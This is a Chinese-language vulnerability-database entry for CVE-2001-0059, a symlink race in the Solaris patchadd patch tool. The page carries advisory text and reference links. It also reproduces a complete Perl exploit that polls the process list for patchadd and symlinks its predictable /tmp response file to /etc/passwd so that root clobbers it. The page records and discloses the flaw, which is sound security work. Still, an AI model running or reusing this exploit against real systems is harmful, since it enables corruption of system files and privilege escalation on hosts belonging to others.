Solaris patchadd覆盖文件漏洞

Solaris patchadd覆盖文件漏洞

漏洞ID 1106140 漏洞类型 未知
发布时间 2000-12-18 更新时间 2005-05-02
图片[1]-Solaris patchadd覆盖文件漏洞-安全小百科CVE编号 CVE-2001-0059
图片[2]-Solaris patchadd覆盖文件漏洞-安全小百科CNNVD-ID CNNVD-200102-008
漏洞平台 Solaris CVSS评分 6.2
|漏洞来源
https://www.exploit-db.com/exploits/20514
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-008
|漏洞详情
Solaris的patchadd存在漏洞。本地用户可以借助符号链接攻击覆盖任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/2127/info

patchadd is the patch management tool included with the Solaris Operating Environment, distributed by Sun Microsystems. A problem exists which could allow a user to corrupt or append system files.

The problem exists in the creation of /tmp files by patchadd. patchadd creates a variety of files in /tmp while installing the patches on the operating system. The files created in /tmp are mode 0666, and are created with the extension sh<pid of patchadd>.1, sh<pid of patchadd>.2, and so on. Running the program requires administrative access. It is possible to brute force guess the pid of patchadd, and create files in the /tmp directory that are symbolic links to sensitive system files.

It is therefore possible for a user with malicious intent to gain elevated privileges, corrupt system files, or execute arbitrary commands.

#!/usr/local/bin/perl
#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation
#vulnerability
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#http://vapid.dhs.org:8080
#See BID http://www.securityfocus.com/bid/2127
#Discovery credit: Jonathan Fortin [email protected]
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10

use strict;

my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";

print "Listening for patchadd process...n" if ($NOISY);

while(1) {
  open (ps,"ps -ef | grep -v grep |grep -v PID |");

 while(<ps>) {
   my @args = (split " ", $_);

     if (/patch/) {
        print "Targeting PID $args[1] and symlinking response.$args[1] to
$clobbern" if ($NOISY);
        symlink($clobber,"/tmp/response.$args[1]");
        exit(1);
      }
 }

}
|参考资料

来源:XF
名称:solaris-patchadd-symlink
链接:http://xforce.iss.net/static/5789.php
来源:BID
名称:2127
链接:http://www.securityfocus.com/bid/2127
来源:BUGTRAQ
名称:20001218Solarispatchadd(1)(3)symlinkvulnerabilty
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97720205217707&w;=2

相关推荐: Cool Components Testbuddy Plaintext Password Storage Weakness

Cool Components Testbuddy Plaintext Password Storage Weakness 漏洞ID 1099773 漏洞类型 Design Error 发布时间 2003-08-08 更新时间 2003-08-08 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享